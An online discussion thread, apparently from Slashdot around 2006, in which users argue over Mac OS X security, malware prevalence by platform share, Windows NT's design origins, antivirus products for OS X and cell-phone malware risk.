[MysticOne]

They're important, but your home directory being destroyed doesn't leave you with an unusable machine. If you've got backups of your important data, as everyone should, you simply restore that data and continue doing what you were doing before. Does that mean the data isn't important? Certainly not. It also doesn't mean that people couldn't get you to run something that executed as a background process, but the amount of things it's going to do will still be negligible, aside from being able to give the user a hard time.

But being a stupid user and running stupid things is not a security flaw. That's a user flaw, and the whole point of TFA was that the OS isn't really that secure, and people should rush out to buy software to make it secure. My point is that it is reasonably secure so that a clueful person probably will never have an issue with infection, malware, etc.

Re:Security by design

[BenjyD]

The value of the data in a user's home directory is massively higher than anything else. Even assuming perfect daily backups, a day's work is worth quite a lot still. A non-admin virus can't spread to other users, but it could still turn your machine into a spam relay and other nasty things.

Re:Security by design

[somersault]

you seem to have missed the fact that Windows NT was made by the same company as Windows 95 and other such delights as Microsoft Office. Key difference between those and *nix being that the other OSs have much better security and underlying code! We all know that if Mac OS or Linux became wildly popular, that someone would find a way to mess with people's systems, but likely that would involve taking advantage of the fact that people are morons, rather than the fact that the OS is itself quite insecure.

I also was doing fine without Antivirus on Windows for the last few years, I just got AVG free to stop Windows always complaining. Then I got pissed off at the fact that we need anti-virus at all - denying programs access by default is a much better way to go - and *nix is a lot closer to 'default deny' than windows, considering that users are not admins by default.

Re:Security by design

[TheNetAvenger]

Windows is inherently insecure. Hell, in unpatched machines you can even infect it remotely! Their ancient code, silly way of doing things, etc., make it much more vulnerable to all sorts of attacks. OS X is not Windows, it's not anywhere near Windows, and it has much more in common with FreeBSD than anything else.

Ok, you demonstrate you have a good basic knowledge of OSX, but you also demonstate you have little to no understanding of Windows.

Windows is built on Windows NT, a kernel very much like the BSD interface and kernel that is in OSX; however, being a bit more advanced as it is a non-monolithic client/server kernel technology.

What this means is that WIndows (Win32) and Windows NT, the core under what you see as windows are two very different things.

Windows NT is a true commericial scale OS designed by some very brilliant *nix OS engineers in the early 90s. However it was designed with a bit more extensibility and features than other *nix kernel concepts of the time.

This is why the Windows you see (Win32) is actually a subsystem OS running on top of the Windows NT core.

Security in the Win32 area of the OS is typically where you see viruses and secuirty problems in Windows, not in the NT core underneath.

So to contrast OSX as being 'better' because of its BSD variant kernel is showing a great misunderstanding of the kernel technologies in Windows, as WindowsXP is a Win32 Subsystem running on a NT kernel, a kernel that is as highly regarded in the computing world as any other modern kernel technology, even BSD.

Now if you want to see windows as Win95 or Win98 or WinME, that is a different story, they are completely different Operating Systems and do NOT have the NT kernel or core under them and virtually no security.

Why is having the NT core underneath an important issue?

The NT architecture and kernel were designed with security in mind, more so than a lot of *nix variants at the time in the early 90s. NT has a lot of security that any subsystem running on it MUST adhere to, even the Win32(Windows) subsystem that most people see as Windows.

WindowsXP with SP2 is a fairly secure and safe OS, more so than people that have not used Windows in many years would like to believe. (SP2 is technology derived from the security refocusing at MS that was put into Windows 2003 Server - Since XP on the desktop and Windows Server share the same code base.)

OSX has done some things right, and Apple deserves credit for that. Running users out of the Admin/Root area was done very well (even though System9 didn't even have such a distinction).

Windows Vista (with the NT Core) will also bring the root/admin abstraction to the Windows World. MS should had done this with WindowsXP, but instead choose compatibility for older applications.

MS truly isn't stupid about security, nor is Windows. But Windows has to do something OSX doesn't. It has to support a staggering amount of hardware configurations (without conflicts), and a staggering amount of third party software, and then add in that it is the most targeted Operating System for hackers.

Since Windows 2003 Server and XP SP2, MS hasn't done so bad in the perspective of things, truly...

Re:Security by design

[Anonymous Coward]

Ummm, NT was designed by David Cutler; a DEC VMS architect.

NT is based on VMS, not UNIX. This has several implications in the basic architecture of the OS including a desire to keep things limited to a few very large virtual memory spaces.

The network stack was probably based on some BSD code but NT itself is a very recognisable child of VMS.

Re:Security by design

[TheNetAvenger]

Ummm, NT was designed by David Cutler; a DEC VMS architect.

NT is based on VMS, not UNIX. This has several implications in the basic architecture of the OS including a desire to keep things limited to a few very large virtual memory spaces.


I never said NT was based on *nix whatsoever.

Strangely, you also only see Cutler as having worked with VMS, when he worked with a lot of *nix environments as well. Additionally you are discounting the rest of the entire NT development team at the time, that primarily DID come from the *nix world.

As for NT being derived from *nix I would argue the opposite. Cutler and his team very much had the go ahead to build a *nix framework for Windows at the time, this is why MS held the Xenix license in case that is the direction the NT Team decided to go.

In direct opposition to a *nix based OS and Kernel model, NT was designed to NOT be *nix and be contrained to the inherent shortcomings of the *nix foundations.

Go look this stuff up, read Inside Windows NT, or any other book by the NT engineering team.

This is why NT's kernel is quite different from the simplistic kernels in BSD and Linux today. NT is the first (especially consumer level) kernel design that is not constrained in a monolithic fashion and yet yeild performs near a monolithic kernel level.

It is also the first Client/Server kernel technology, and still leverages this technology today. This means that the User OSes run in subsystems, like Win32 or the *nix subsystem that is shipped by default with Windows 2003 R2.

They are not emulation layers, but because of the kernel design are OSes sitting on top of the NT Kernel independantly. Something no mainstream *nix can yet do...

I appreciate your 'checking' my facts, but at least reference what I WAS saying and not what you thought I was saying. Also do a bit more research on the NT Team and Culter before you just dismiss him and the other designers of NT as VMS only OS architects, when combined time they spent more time working in the *nix world than anywhere else.

Re:Security by design

[kcarlin]

I never said NT was based on *nix whatsoever.

Strangely, you also only see Cutler as having worked with VMS, when he worked with a lot of *nix environments as well. Additionally you are discounting the rest of the entire NT development team at the time, that primarily DID come from the *nix world.

As for NT being derived from *nix I would argue the opposite. Cutler and his team very much had the go ahead to build a *nix framework for Windows at the time, this is why MS held the Xenix license in case that is the direction the NT Team decided to go.

Perhaps I can help clarify to you where previous responders may have become confused. In the first quoted paragraph above, argues that you never said NT was based on *NIX whatsoever. In the second paragraph you elaborate that the NT development team did primarily come from the *NIX world (presumably that experience making some sort of contribution). Then (third paragraph) you reverse direction again arguing that NT is not derived from *NIX, only to bring up the Xenix license and product line and engineering staff there. You are so all over the map that you've been sighted on six continents.

As a VMS and UNIX-experienced developer who managed the deployment of NT4.0 for a Government client back in the day, and as someone who has written more than the occasional kernel call, the product released was very much a next generation VMS and not at all UNIX-like. From the pessimistic file locking scheme to the interprocess communications to the heavy process model NT was heavily VMS-biased. (The single-threaded BSD network stack really showed up the new process model. After all, what user will ever need more than one network thread? One network hiccup and it was reboot time.) The NT command-line experience was far inferior, and VMS, which did very well with the security folks, was never saddled with "the registry," which all these years later still hasn't been matched with a workable security model to prevent users from having to run in admin mode so that their registry "smart" apps can function. (That was "right around the corner" in '97, next release, sure thing.)

I wrote the user orientation for the rollout. My management was quite concerned that I spent a page on disabling the dancing paperclip in the Office apps. A month after the first rollout, I got an attaboy from operations on that based on the number of help calls it resolved.

The bottom line is that NT was recognizably VMS influenced and was no more *NIX influenced than Mac OS7 or TOPS10, regardless of who worked on it. *NIX has not exactly stood still in the areas of kernel technology and security architecture. The NT successor platforms today can be secured to a very high degree by dedicated IT security professionals with access to vendor consultants and a sound network security strategy. And no developers inside the DMZ. No unsecured network jacks. No user operable Floppy/CD/DVD drives No wireless. Metal detector for splicing equipment (and any other equipment) at the door. Collect those "cell phones." Definitely no flash ROM drives. Oh, and none of that open source stuff. Our MS account manager says Linus Torvalds is Osama's son-in-law, but thinks that running ActiveX is A-OK.

5% of the malware?

[yurigoul]

From the article:

One reason why there aren't many malicious Mac programs is that there are fewer Mac users out there, but the fact that some have been written shows that they are possible in principle.

5% mac users equals 5% of the virusses and other malware, wich should be equal to tens of thousands. Well, anyone knows how many there are out there? I haven't seen anything since os8, and trust me, I am neither safe, nor do I stay away from those funny sites or those servers with funny programs.

Re:5% of the malware?

[Anonymous Coward]

Its not 1% marketshare == 1% viruses.

Also the vast majority of Windows viruses are simply variants on each other to avoid detection. Take a look at how many different variants there are of like Sober. 5% market share will probably be closer to 1% viruses... Who wants to write a virus that hits 1 in 20 computers? You'd be lucky to even get your virus mentioned in a local paper much less national headlines.

There are several Mac viruses, Like Simpsons and its variants (Applescript exploit, acts just like the Love virus on windows) Theres MW2004 which pretends to be an installer for Mac Office and actually just deletes the home directory on OS X.

They ARE out there, but SO limited that its hard for them to spread at all. the emailer might send out 500 emails but if only 10 are macs and maybe 3 are vulnerable to that particular exploit its gonna burn itself out very fast.

Re:5% of the malware?

[TERdON]

There are no viruses targetting a clean OS X installation, at least not yet. There however are some macro viruses targetting Microsoft Word running under Mac OS X. The most of them won't work under Mac OS X (as many assume the existence of C:\), but surely some of them do work.

Re:5% of the malware?

[Anonymous Coward]

Faulty logic.

The biggest always gets the most scrutiny, and it's not linear. It's a matter of bang for the buck. Why target Mac with 5%, when you can target Windows with 90% just as easily? More than 90% of the attackers will use that logic, and thus you get (near) 100% of the viruses for the OS with 90% of the market share.

Still don't believe me? Check out IIS vs. Apache. IIS is the buggy, horrible mess, right? Nope. IIS 6 has two vulnerabilities, neither serious, both fixed. Apache 2.0.x has 30, 7% unpached, 36% 'moderately critical' or higher. Is this because IIS is so incredibly secure, or is it because Apache has the lion share of Webservers?

Re:5% of the malware?

[Anonymous Coward]

...or is it because Microsoft tries to hide vulnerabilities they know about? And because Apache has more eyes able to see the code and look for holes?

Your logic is just as faulty. Why don't we interview a significant fraction of the world's virus/rootkit/Trojan writers, and ask them why they don't target OS X and Linux more? Rather than make unsupported statements about their motivations, we can then KNOW their motivations.

Re:5% of the malware?

[lbrandy]

5% mac users equals 5% of the virusses and other malware, wich should be equal to tens of thousands.

Holy statistical fallacy batman! Mod parent -1 (Terrible math). This assumes an independance of "virus writers" to the platform they write virus's for. This is definitely not the case... there are more factors involved then the one you implied (Macs are safer). There is also the bias of virus' writers intention of infecting many people, and the bias involved in REPUTATION alone. The reputation of the mac and of windows may bias the results whether it's necessarily true or not.

In short, the statement "5% mac users = 5% of virusses (sic)" is founded on assumptions that are just plain wrong. Given two identically secure operating systems, one with 95% and one with 5% market share... there is absolutely no way there is "independance" on the part of virus writers to claim the 5% of virus' should occur on the smaller platform. That's just plain garbage.

Re:5% of the malware?

[yurigoul]

I think that that was exactly my point. In the quote I gave the writer of the article asumes that there are fewer mac viruses because there are fewer mac users out there. And AFAIK there are no mac viruses, so there must be another reason.

It is the writer of TFA who is bad at math (worse than I am anyway)

How do you protect against the unknown?

[topham]

How does the average user protect against the unknown?

When I get my new iMac ('free') I will be adding some extra security to the system. But the average user cannot do what I will be doing.

And as for the anti-virus software outthere, except for dealing with Office viruses, and maybe System 6-9 viruses what is it supposed to protect against? It's snake-oil.

How do i know they even have staff on hand to deal with an outbreak where there hasn't been anything of significance in 5 years. (yes, I heard about issues within the last 5 years, they were not particularly significant as they were risks, not outbreaks.

How many people on Slashdot actually run anti-virus software on their Linux boxes? 5%?

Re:How do you protect against the unknown?

[redragon]

I will be adding some extra security to the system. But the average user cannot do what I will be doing.

Why don't you enlighten us oh gifted one?

Re:How do you protect against the unknown?

[A beautiful mind]

"How many people on Slashdot actually run anti-virus software on their Linux boxes? 5%?"

I think the percentage is much lower than that, probably less than 1% and most of those boxes are mailservers blocking viruses for the windows crowd.

Re:How do you protect against the unknown?

[somersault]

he's going to attach a padlock to the machine

Re:How do you protect against the unknown?

[thatguywhoiam]

I will be adding some extra security to the system. But the average user cannot do what I will be doing.

Why don't you enlighten us oh gifted one?

I imagine he's using Mac user standard precautions; place router inside wall safe, wrapped in tinfoil, and smothered with secret sauce. Nothin' beats that. We've been discussing it on the official Apple Fanboy List and have deemed this to be the best approach.

(Also we use characters like ü, ç, (TM) and © in our passwords which are nearly impossible to type in Windows.)

Re:How do you protect against the unknown?

[pintomp3]

he's going to turn water into WINE.

Re:How do you protect against the unknown?

[Anonymous Coward]

He will paint the mac hardware with an off-white color.

That will definitely confuse the viruses, etc

Re:How do you protect against the unknown?

[foniksonik]

Most likely setting up some decent firewall rules and a good hosts file... maybe running Little Snitch and Snort w/ logging and a log analyzer and maybe locking down the BIOS with a new password for running in single user mode just in case someone gets physical access to the system.

Re:How do you protect against the unknown?

[ronanbear]

Condoms over every CD and DVD inserted into the slot drive. Just 'cos my mac tells me that its on the pill doesn't mean I should take chances.

Re:How do you protect against the unknown?

[Nivag064]

I have a 2 pronged policy for Mac security:

(1) ensure firewall set up strictly, install the best anti-virus software
(2) apply a pre-emptive scorched earth policy

Actually (1) costs me nothing, and (2) is implemented by not having a Mac...

>>> On a more serious note

I use Linux, but I:
(1) install all the latest security patches
(2) run with a very strict firewall
(3) disable all non-essential "potential" internet accessible services
(4) browse any really dodgy sites via a special user account set up for that one site & discarded afterwards (I've only done this once)
(5) am not complacent

Personally, I find the lack of variety in computers boring. I remember the days when you had the likes of:
(A) the Acorn Archimedes (truly the most user friendly GUI I've ever come across)
(B) Atari
(C) Commodore
(D) Sinclare
(E) and others

Re:How do you protect against the unknown?

[DocLandolt]

Damn fine point...that's the one thing I miss about OS X...

However -- you're only part right. Windows apps occasionally allow 'copy' and typically allow you to 'paste' text into password boxes -- so THERE! Now that's some good securitizing...and shit!

Re:How do you protect against the unknown?

[topham]

Setting up something akin to Tripwire on my Mac.

It won't truly protect against viruses per say; but it will deal with any form of unexpected changes.

I've been using a Mac as my main machine for a couple of years now and I know it isn't 100% secure.

Starting with a new machine with a clean install will help me tailor the process.

At some point in the future I expect Mac OS to be under attack; especially now that they are switching to Intel. (This may cause an increase in the number of users in the demo-graphic most likely to write computer viruses.). [If it doesn't I won't complain.].

Proof that TFA was right

[Anonymous Coward]

A smug response there - well done!

Migrated to Windows

[zlogic]

I've been using Linux for nearly a year with no Windows on my PC. After that, I had to use Windows (developed .NET apps) and on the first day got 3 completely different viruses and managed to get my system completely screwed up. Before that I had a huge experience in Windows and never had any real problems with that kind of stuff. However it appears that I've completely lost awareness of the possible dangers of running every app without checking first.
So it appears that Linux and probably Mac users are less aware of malware and do some really careless things because the probability of getting a virus is extremely low.

Re:Migrated to Windows

[bogie]

Please don't take this the wrong way but... were you visting warez/porn sites on IE?

I will say that I have seen XP SP2 boxes with AV get trojans. In fact I help someone out who has XP SP2, all updates, and updated AV, MS Antispyware, and spyware blaster running, who STILL manages to get himself into trouble. Still though he is an idiot and you seem to know your way around computers. Legit apps on the net usually don't cause much problems.

One thing that does bother me about all these apps is that an average user still can get themselves into trouble even with all that help. This will probably cause some blood to boil but the default behavior for these apps needs to be to A) delete by default no matter what the file even if it means instantly rebooting into safemode to fix the problem B) if the virus/trojan can't be fixed lock the user out of the system until it is fixed properly or at a minimum C) dump the user into a different virus free profile setup with the new Microsoft "Shared computer" program. Nip it all in the bud and prevent the spreading. Man I hope Vista really does stand up to MS's claims about how secure it will be. *coughs*

Re:Migrated to Windows

[gnasher719]

''So it appears that Linux and probably Mac users are less aware of malware and do some really careless things because the probability of getting a virus is extremely low. ''

I think the average Linux and Mac users are exactly as aware of malware as the average PC user: Not at all.

Then there is the category of users who have been bitten by malware, but don't know what to do about (except suffering quietly, buying a new computer, ask an educated friend for help, or pay money for removing viruses). This category is much too large on PCs, and quite empty on Macs and Linux.

Then there is the category of users who know how to protect themselves. One difference between PC and Linux/Mac: On Linux/Mac, protection consists of having a firewall (just in case), not doing anything stupid, and hoping the operating system is as safe as it should be. There is nothing else you can do. There is no antivirus software that would actually _protect_ you against anything because there are no known threats. On Windows, protection consists of having a firewall, running virus scanners and malware checkers all the time, not doing anything stupid, not entering more dubious websites, and praying.

Re:Migrated to Windows

[zlogic]

>Please don't take this the wrong way but... were you visting warez/porn sites on IE?

I was downloading some cracks with Firefox (1 virus) and then some more with Gnutella (2 additional viruses).
The viruses were so nasty that even Safe Mode didn't boot at all.
And then always the risk of doing something stupid because it Windows doesn't ask the root password before doing some serious stuff. And running as a Limited user actually causes some software not to function at all.

>Legit apps on the net usually don't cause much problems.

Except for Sony's rootkit...

Re:Migrated to Windows

[Zathrus]

I was downloading some cracks with Firefox (1 virus) and then some more with Gnutella (2 additional viruses).

So you downloaded programs from an explicitly untrustworthy source, ran them, and got infected?

Wow. How surprising.

Do you generally install compiled programs on your Linux box from untrustworthy sources? If so, are you absolutely positive that you don't have multiple rootkits running on the box?

Re:Migrated to Windows

[zlogic]

Yes, I usually install RPMs without thinking about the reliability of the source - because, well, my PC is isolated from the network by a hardware D-Link router and don't have any servers on my Linux box, so most rootkits that act like trojans are useless.
Next, most viruses on Gnutella etc. target Windows users.
And downloading packages with apt/urpmi/etc. from the distro vendor usually doesn't require any cracks. And of course I trust my distro vendor because if I suspected them of putting rootkits, I'd be using a different one.
Also, rootkits are usually installed manually when a system is hacked, because every distro out there uses different folders for holding stuff (e.g. SUSE stores KDE in /opt, Kubuntu stores it in /usr), different utilities etc. so a virus maker ends with a fat binary that isn't guaranteed to work on every box out there. It's easier to write a virus that hits 90% of all users (Windows).

Re:MacOS X itself?

[TheNetAvenger]

"safer" OS

Safer? I guess, except in the past year Apple released more security and exploit fixes for OSX than Microsoft did for WindowsXP...

So again how is it a safer OS if these exploits existed in the first place?

Go stick you head in the sand until the great Mac worm hits that erases everyone's OSX drives. Then maybe people will realize that NO Operating System is completely safe. PERIOD.

Windows gets a lot of press because 95% of the world are using it, and it truly is targeted a bit more. Think about it, if you were going to write a virus to screw with the world, would you spend time finding a way to infect 5% of the world's computers or the other 95%?

Complasancy

[TCFOO]

When we hear about viruses, worms etc. ravaging Microsoft products it is easy for those of us who don't use Microsoft Products to become complasant because our system is not affected. When we become too complasant, and think that our system will never be affected, and never take steps to prevent infection, we will be in a world of hurt when a virus, worm etc. desides to attack whatever system you use. Like Solomon said "Pride cometh before a fall"

Re:Complasancy

[Anonymous Coward]

Not only that, it is easy to become complacent.

Re:Complasancy

[Schickie]

Not only did you waste time reading all this brain fryingly repetitive rubbish you then went to the trouble of actually generating a post just to correct the poor kid's spelling!

That's just pathetic.

Re:Complasancy

[somersault]

err.. Solomon didnt speak english - a better translation would surely be "pride comes before a fall"? ;) I didnt even realise that that is a quote from proverbs

well, here's the problem...

[nuckin futs]

there are numerous anti virus programs out there for the Mac, but what virus are they scanning for? There are no known viruses for OS X, so how can they update the virus definitions if they have nothing to base it on? They've seen a vulnerability here and there, but nothing has been exploited yet. So it's like the chicken and the egg. you need an AV program to protect yourself from viruses, but you need a virus for the program to detect.

The day i see a virus on OS X is the day I buy an AV program.

Re:well, here's the problem...

[macmaniac]

Generally, they're looking for Windows virii. While there aren't any OS X virii (yet), Macs can still carry Windows virus-laden files.

Re:well, here's the problem...

[Anonymous Coward]

Obligatory correction -- plural of virus: viruses
http://en.wikipedia.org/wiki/Plural_of_virus

Re:well, here's the problem...

[Anonymous Coward]

If you do have some AV software running, you can use this file to set off some alarms to make sure your AV software actually works. Note that this is a harmless test file that doesn't do any damage on any platform.

Re:well, here's the problem...

[Halo1]

Or at least be a little more creative if you're going to misspell it. Some ideas:

viri
vires
virui
virua
virres
viruae
viriii
virula
virusi
virussi
virussa
virulua

And then to avoid the lameness filter

virussae
viruluae
virusula
virusuli
virusulae

we have to add some junk here

viruletti
virulumsi
virulumni
virulussi
virulussia
virulussiae

and here as well.

virusulumni
virusulumnia
virusulumniae

The possibilities are endless!

Re:well, here's the problem...

[Anonymous Coward]

Uh, buddy, you're making stuff up.

In the last five years, there's been several reports of in-principle exploits, around 5 or so. I.e. someone has theoretically demonstrated a vulnerability, and created a program and shown how it can infect a machine.

But none of these have ever been found "in the wild" and infecting other peoples' machines. None. Not one. That's what we mean.

So you, are simply spreading FUD. Loser.

Take care.

ps As for the original article, of course it's wrong to imagine that Mac OS X is "invulnerable". But you'd have to be an equal fool to consider it unimportant that OS X's clearly more secure out of the box, and hasn't had any actual exploits yet.

Re:well, here's the problem...

[TheNetAvenger]

Uh, buddy, you're making stuff up.

In the last five years, there's been several reports of in-principle exploits, around 5 or so. I.e. someone has theoretically demonstrated a vulnerability, and created a program and shown how it can infect a machine.

But none of these have ever been found "in the wild" and infecting other peoples' machines. None. Not one. That's what we mean.


Really, none uh?

In Wild, known Infections:
http://www.macintouch.com/opener.html

Exploit, unknown level of infections:
http://news.zdnet.co.uk/internet/security/0,390203 75,39155837,00.htm

Thanks for the intellectual response, it is what I would expect from an 'informed' user like yourself.

Next time you juggle the 'reality or belief' concept, don't give in to what you want, but try facts instead.

Re:well, here's the problem...

[glesga_kiss]

here are no known viruses for OS X, so how can they update the virus definitions if they have nothing to base it on?

Interesting, I've heard of this before. There is a Pocket PC virus scanner available, yet there are no viruses on that platform. A fool and his money are easily parted, or so the story goes.

Re:well, here's the problem...

[j-beda]

In Wild, known Infections: http://www.macintouch.com/opener.html

But "opener" requires a previously comprimized system. A "rootkit" without a viable delivery mechinism isn't really a "virus" or "worm" or even a "trojan". Acording to McAfee: "This threat does not make use of an exploit, so to have the script run successfully on a system and make changes, the user account from which the script is run must have sufficient rights. If no superuser/root/admin access is available many of the subroutines will fail and generate errors." I don't know why McAfee classifies it as a virus/worm since it doesn't seem to have any propagation abilities.

Exploit, unknown level of infections: http://news.zdnet.co.uk/internet/security/0,390203 75,39155837,00.htm

True, the exploit mentioned is a tricky thing (potentially allowing code that was downloaded to be run as trusted), however I don't know if any was ever found in the wild - and even then it would still require an administrator's password to do system damage. The "hole" was supposedly patched by Apple's Security Update 2004-06-07 according to Unsanity who had released a little application to guard against the exploit.

If those are the only two you've found, you haven't really shown any "In Wild, known Infections" in my opinion.

Re:well, here's the problem...

[Anonymous Coward]

The day i see a virus on OS X is the day I buy an AV program.

It's this kind of smugness that the article is talking about. Here is a nasty virus that only runs on OS X http://securityresponse.symantec.com/avcenter/venc /data/sh.renepo.b.html Installs a keylogger for passwords and overwrites commands with it's own copy.
p.s. Mac users are also subject to Java viruses like http://securityresponse.symantec.com/avcenter/secu rity/Content/2005.10.12.html

Re:well, here's the problem...

[milimetric]

there was a great post on slashdot a while back as to why precisely that mentality is bad for computer security. If you allow yourself to think: "I want all the bad stuff off my computer" then the subscription based anti virus companies rejoice. If you think: "Build a safe computer that knows what should and shouldn't run" you're on the right track.

My guess is that OS X is safe for a combination of reasons. One is that it is designed from the ground up with good solid backgrounds in BSD and security. The other is that its market share is small and viruses simply don't target it as much. My other guess is that mac users are slightly more intelligent than average (hackers, designers, rich people - not that being rich makes you smart, just smarter than average) so they won't go browsing pr0n sites on unpatched computers with VMWare running IE 5.0 under Windows Millenium edition from a physical partition on their computer sharing their OS X partition with read/write access.

FUD

[Anonymous Coward]

Very nice link:


Viruses and the Macintosh
by David Harley
Version 1.6b: 7th January 2000

when was OSX introduced?

Anyway, apple users shouldn't beleive they are unvulnerable.

But: this knowledge for 95% of the world is commonplace. Every Joe Sixpack thinks the macintosh/linux have their share of malware, viruses, because they're judging by their OS' standards. What this guy should also be saying is that there is no malware for the *nix's up to today. And I'm not talking about being on a blackhat's blacklist... So, hiding that these operating systems are safer today, is just spreading FUD...

Glass Houses

[Anonymous Coward]

People who live in glass houses should not throw stones.

What to use?

[FullCircle]

How about a router with a firewall and the slightest bit of common sense?

It works here even with Windows XP.

Re:What to use?

[ajdowntown]

Common Sense... sometimes I think you ask for too much...

Re:What to use?

[everphilski]

That's whats used in this house. XP sp2 here, linux box on the the other wall, need both depending on the task. I dont get viruses. Common sense unfortunately is lacking among the masses (including linux and mac users. Thats why they think they are impervious to viruses and other attacks)

Re:What to use?

[shawnce]

Hardware firewalls only can solve active attacks (all folks should have one) but it doesn't solve passive attack (those social engineering ones). I have seen countless examples of a Windows user visiting online chat forums and viewing pages then find attempt to have spy ware downloaded either automatically or with a little trickery. The average user is never really going to be able to fend off all social engineering attacks sadly.

Re:What to use?

[Just Some Guy]

How about a router with a firewall and the slightest bit of common sense?

It works here even with Windows XP.

Sweet! What firewall are you using that protects against the much-discussed WMF attacks? Malicious, encrypted instant messaging packets? Because I'd have an easy time convincing my boss to take a look at such a thing, if it actually existed.

Firwalls address one attack vector. If you believe that's the only one that counts, you're deluding yourself.

Re:What to use?

[poot_rootbeer]

How about a router with a firewall and the slightest bit of common sense?

The problem is, where can you buy a bit of common sense?

Ask any sales associate at a Fry's or CompUSA, they won't have any of it.

Re:What to use?

[xenoterracide]

only firewall that might be able to do that would be a Level 7 firewall... and that requires a lot of processing power. also don't use MSN messenger use GAIM for example. and have gaim be the only application allowed through that port on the firewall. you would probably have to set up a linux box or something to do this however. Netfilter's iptable does have a level 7 filter now... not sure how well it works.

Re:What to use?

[winwar]

"The average user is never really going to be able to fend off all social engineering attacks sadly."

I think you missed the part after firewall-"common sense".

And if the average user cannot be expected to utilize common sense, we as a species are screwed.

"Too smug" or "Not aware"?

[hal2814]

I don't know what Mac users most people hang around with but the ones I know wouldn't know security or virus protection if it came up and bit them on the nose. A lot of these folks can barely turn on their machines and fire up their browser and word processor. I realize that I'm just speaking for the people I know but those people are Apple's target audience.

Re:"Too smug" or "Not aware"?

[theAtomicFireball]

I realize that I'm just speaking for the people I know but those people are Apple's target audience.

Those people are one of Apple's target audiences. In my experience, I see no difference in the percentage of people on either platform who are really "with it". I see a lot more Windows people who style themselves as 733t Hax0rz, but knowing how to hobble together a VB app doesn't really qualify you for that status in my book, but other than that, I see little difference in the makeup of the two platforms' user bases. There are stupid Mac users, sure, and there are stuipd Windows users; it's just that stupidity isn't quite as dangerous on the Mac as things stand now.

Most of the really computer savvy people can work comfortably on either platform. Oh, they may have (almost certainly) definite preferences, but can get work done using either when push comes to shove, and probably Linux or *BSD as well.

Bill Thompson is right

[standards]

Bill Thompson is right, but there is a much, much larger problem that's out there: cell phones. Cell phones are always connected to a large network. There are billions of them, And very few cell phones run any kind of anti-viral or anti-trojan software.

Although Bill may be writing to ride on the coat tail's of Apple's recent success, the Macintosh can get infected by a virus or a trojan program. In fact, some of the earliest computer viruses in the wild were found on the Mac. The Mac virus problem isn't as large as the Windows virus problem, but that's because there are many more Windows machines intermingling out there.

Any networked device, from routers to mainframes, from Bluetooth devices to cell phones to the XBox 360, may be vulerable to malware. All need robust security.

Re:Bill Thompson is right

[somersault]

but what are you even going to lose on a normal cell phone apart from your address book and some text messages? They are becoming more PDA like, but I guess if you're using it as a PDA then you'll synchronise your data regularly anyway. The next problem would be uploading a virus to your machine through the PDA, but is that even feasible considering you're just likely to be synching over a connection and not running anything?

I agree that you have to be security conscious, but some devices are so basic that you wouldnt be able to do anything interesting by hacking them anyway. And the companies that run the private networks that phones operate on should be (or are?) the ones taking security measures to make sure that their networks and protocols are safe. The internet on the other hand is a lot more diverse than a phone network and harder to monitor to guard from problems (and also some people would likely abuse any monitoring systems), though I'm sure I've heard that ISPs filter out a lot of known spam and virus mails to try and make the internet a less sluggish place..

Re:Bill Thompson is right

[standards]

but what are you even going to lose on a normal cell phone apart from your address book and some text messages?

A few examples:

1. Your ability to make and receive phone calls of any kind.
2. Your privacy - who you call/who calls you could be xmited to a 3rd party
3. Your privacy - your approximate location could be xmited to a 3rd party

Cell phones work on standards. Compromising handsets could leverage these standards. Imagine all of the crazy things you could do if you could reprogram a few million active handsets.

Re:Bill Thompson is right

[somersault]

wow so someone's going to find out where I work, and that I've called the bank today, and that I work on the 1st floor. And I cant use any landlines of course. I guess the fact that I've not put any money into my new phone since I got it (only use it to recieve texts now, otherwise I just use a landline to phone someone, or communicate via email/gAIM).

If you used the virus to monitor calls etc then you could start having something more worrying on your hands. I wouldnt be bothered if anyone knew who I'd called, or where I'd called from, because I have nothing to hide in that regards. I dont even mind if people listen to my calls, though today I read my credit card number over the phone to the credit card company, and I wouldnt really like anyone else finding that out.

Re:Bill Thompson is right

[Anonymous Coward]

How about a virus that simply notes when you call a "bank-by-phone" number, and then records your keystrokes. Just think of the money transfer abuse potential! Hahahaha! It's almost surprising it hasn't happened yet... hear hear to the telcos! They're more security concious than we think!

Re:Bill Thompson is right

[winwar]

And what happens if you get a virus on a phone/PDA that can be transferred to networked computers? A virus on a phone is probably only annoying but if it can get into a network.... Unlikely but possible.

Re:Bill Thompson is right

[garote]

Bill Thompson is right, but there is a much, much larger problem that's out there: cell phones. Cell phones are always connected to a large network. There are billions of them, And very few cell phones run any kind of anti-viral or anti-trojan software.

The problem there is, they contain a wide variety of CPUs and hardware, run their own custom (generally Java-based) OSes, and are severely limited in the ways they can communicate with each other.

Although Bill may be writing to ride on the coat tail's of Apple's recent success, the Macintosh can get infected by a virus or a trojan program. In fact, some of the earliest computer viruses in the wild were found on the Mac. The Mac virus problem isn't as large as the Windows virus problem, but that's because there are many more Windows machines intermingling out there.

Well, to be accurate, you need to shorten that last sentence to "The Mac virus problem isn't." :D
Frankly, I don't know why there isn't a virus problem - excluding email viruses and service-based worms, there is still the possibility of malicious code distributed inside a popular application a la BackOrifice. Maybe there is such a program out there. Unfortunately (for the hacker), that still doesn't give the infection any good way to spread ... but it could exist.

Any networked device, from routers to mainframes, from Bluetooth devices to cell phones to the XBox 360, may be vulerable to malware. All need robust security.

Well said.

Re:Bill Thompson is right

[jonwil]

Most cell phones I have seen (including my Motorola e378i) dont use Java.
They use something native to whatever processor is in it (I believe mine has an ARM of some kind although I have no idea of which one), probobly C & C++ with assembler for low-level bits.

Some cell phones (like mine) DO have a Java VM on them & can run Java apps but I doubt that the core OS of any good phone runs JAVA as its core OS.

Re:Bill Thompson is right

[garote]

Ahh yes, that's right. Let me wipe this egg off my face. :)

Options for OS X

[sammy baby]

...Is he right, and what actual products exist for OS X that would protect against infections?

My stock response: "The truth is, viruses just aren't a huge threat on the Mac right now. However, my religion precludes me from advising you to not buy anti-virus software."

It's not like you don't have options though. You can get anti-virus software from:
Symantec
Sophos
Intego
McAfee (Virex, included with a .Mac membership)
And, of course, there's always Clam AV, along with the ClamXav front end for OS X.

Re:Options for OS X

[AndroidCat]

So, how many Macs are infected with anti-virus software?

Re:Options for OS X

[rvw]

You've forgotten Computer Associates eTrust Antivirus . It's available for Windows, OSX and Linux. We're using it at work. I believe the trial version keeps on working on the Mac after the trial period ends.

Re:Options for OS X

[rvw]

What I really like about eTrust Antivirus is that you get all cd's when you order it. You don't order the Windows version only, you get the OSX and linux cd's as well, as well as the Exchange Server, Lotus Notes and Groupware versions I believe. They have a very simple license scheme, just as it should be.

